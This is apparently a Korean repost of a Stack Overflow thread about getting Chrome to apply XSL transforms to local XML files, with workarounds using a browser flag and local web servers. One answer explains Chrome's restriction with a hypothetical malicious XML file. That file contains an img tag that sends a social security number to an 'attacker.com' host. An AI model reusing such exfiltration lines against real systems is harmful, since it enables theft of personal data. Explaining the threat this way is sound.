prosource

로컬 파일에서 XSL 변환을 수행하도록 Chrome을 만들 수 있습니까?

probook 2023. 9. 10. 12:23
반응형

로컬 파일에서 XSL 변환을 수행하도록 Chrome을 만들 수 있습니까?

저는 xslt에 대해 알아보고 w3 학교에 대한 예시를 가지고 테스트를 시작했습니다.

그러나 xml과 xsl을 파일에 저장하고 로컬에서 열려고 하면 크롬에서 xsl 변환이 수행되지 않습니다.빈 페이지만 보여줍니다.

는 그 숫자를 했습니다.<?xml-stylesheet type="text/xsl" href="style.xsl">.xml에를하면 firefox가다로된다로된g가에tt면los .또한 웹 서버를 통해 파일을 보면 크롬에 파일이 보이는 대로 표시됩니다.

링크가 로컬일 때 크롬이 스타일시트 정보를 찾는 데 문제가 있다는 건가요?를 href로 file:///C:/xsl/style.xsl아무런 차이가 없었습니다.

업데이트: file:///*을(를) 동일한 오리진으로 취급하지 않는 보안 정책의 부작용으로 보입니다.그러면 콘솔에 다음과 같은 오류가 나타납니다.

URL 파일이 있는 프레임에서 URL 파일:///C:/xsl-rpg/style.xsl을 로드하려고 시도한 안전하지 않습니다.도메인, 프로토콜 및 포트가 일치해야 합니다.

짧은 대답은 "아니요, 다양한 브라우저 세트 중 하나를 사용하세요."입니다.

이것이 작동하지 않는 이유는 XML 파일이 동일한 디렉토리에 있는 로컬 XSLT 파일에 액세스하는 것을 차단하고 HTML 파일은 액세스할 수 있다는 점에서 논란의[1][2][3][4] 여지가 있는 방식으로 해결한 보안 문제 때문입니다.같은 디렉토리에 있는 CSS 파일도 괜찮습니다.

위에서 언급한 여러 문제에 걸쳐 사용자는 도메인, 프로토콜 및 포트가 실제로 일치하기 때문에 보다 명확한 오류 메시지를 요청하거나 최소한 스타일링 없이 XML을 표시하도록 요청했습니다.크롬 개발자들은 이러한 요청을 무시해왔습니다.

을 로 실행하여 할 수 .--allow-file-access-from-files깃발을 올리다

OS X에서 터미널 앱 실행:
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Windows에서: 명령 프롬프트 실행에서:
path\to\your\chrome\chrome.exe --allow-file-access-from-files

참고: Chrome이 현재 실행 중이라면 Chrome을 종료해야 할 것입니다.

OP를 고수하고 싶다면 (다른 사람들이 지적한 것처럼) 아니오가 답이지만, 이 문제를 해결하는 한 가지 방법은 간단한 웹 서버를 실행하고 크롬에서 http를 통해 파일을 여는 것입니다.python 2.x가 설치되어 있는 경우 다음을 입력하여 웹 서버를 실행할 수 있습니다.

python -m SimpleHTTPServer

또는 python 3.x:

python3 -m http.server

을 열기 위해 을 은 은 을 사용합니다.http://localhost:8000/yourfile.xml크롬으로바라건대 당신은 당신의 작업을 단지 완료하기를 원하며 다음을 사용하여 파일을 여는 것이 중요한 일이 아니기를 바랍니다.file://

Chrome Bug 페이지에서 약간의 해독이 필요했습니다. 그들은 무엇이 문제인지, 왜 모든 사람을 깨뜨리지 않고 모든 사람을 부수기로 선택했는지에 대해 설명하지 않는 것에 매우 열심입니다.

예를 들어 하드 드라이브에 XML 파일이 있다고 가정합니다.

C:\Users\Ian\Documents\Tax\StudioTaxReturn_2015.xml

그리고 악의적인 개체가 어떻게든 내 컴퓨터에 악의적인 Xml 파일을 떨어뜨릴 수 있었습니다. 예를 들어:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

이매진 트로이 바이러스 웜.xml에는 스타일시트 PI(처리 명령어)가 포함되어 있습니다.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

그런 다음 공격자는 브라우저에 로컬로 저장된 위치로 이동하도록 지시합니다.trojanVirusWorm.xml파일.

XML 파일이 XSD 파일에 의해 변환되지 않고 XSD 파일의 내용을 읽을 수 있는 방법이 있다고 합니다.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

XML 파일이 어떻게 스타일시트 파일을 읽을 수 있는지 이해할 수 없습니다.하지만 크롬 팀은 위험한 일이며 해결할 수 없다고 장담합니다.

다른 모든 브라우저에서 해결했습니다.그들이 해결한 것은 문제가 아니기 때문입니다.

xsl 파일에 따른 xml 보기 방법

헤더가 포함된 some_file.xml이 있다고 가정합니다.

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 우리는 파일을 다운받습니다.https://some-site.com/Common.xsl그리고 그것을 그 옆에 놓습니다.some_file.xml
  2. 머리글의 일부를 다음에서 변경합니다.href="https://some-site.com/Common.xsl"로.href="http://localhost:8001/Common.xsl"
  3. 파일과 함께 디렉토리에서 실행 -python3 -m http.server 8001
  4. 모든 브라우저에서 열기http://localhost:8001/some_file.xml
  1. 다음과 같은 배치 파일을 만들어 ex의 위치에 저장합니다.chromex.cmd.

    "C:\프로그램 파일\Google\"크롬\어플리케이션\Chrome.exe" --user-data-dir=C:\Temp -- 파일에서 파일 액세스 허용 %1

  2. 기본 앱을 다음으로 설정chromex.cmd위해서.xml서류철

브라우저 설정을 변경하여 Chrome에서 XSL 파일을 렌더링할 수 있습니다.Visual Studio Code Live Server 또는 Apache와 같은 로컬 웹 서버를 통해 액세스하는 것이 더 안전한 방법입니다.단계는 XSLT Won't Render on Local Files(로컬 파일에서 렌더링되지 않음)를 참조하십시오.

이를 위한 가장 간단하고 빠른 해결책은 오픈 소스인 크롬용 웹 서버를 설치하는 것입니다.

https://chrome.google.com/webstore/detail/web-server-for-chrome/ofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en

설치가 완료되면 Chrome 탭에서 서버로 접근할 수 있는 폴더를 선택해야 합니다. 기본 URL은 - http://127.0.0.1:8887/

이제 2단계에서 선택한 폴더 아래에 XML 파일과 스타일시트 폴더/파일을 넣을 수 있습니다. XML 파일은 스타일시트 파일을 참조해야 하며 스타일시트를 보기 위해 XML 파일을 직접 열 수 있습니다.

언급URL : https://stackoverflow.com/questions/3828898/can-chrome-be-made-to-perform-an-xsl-transform-on-a-local-file

반응형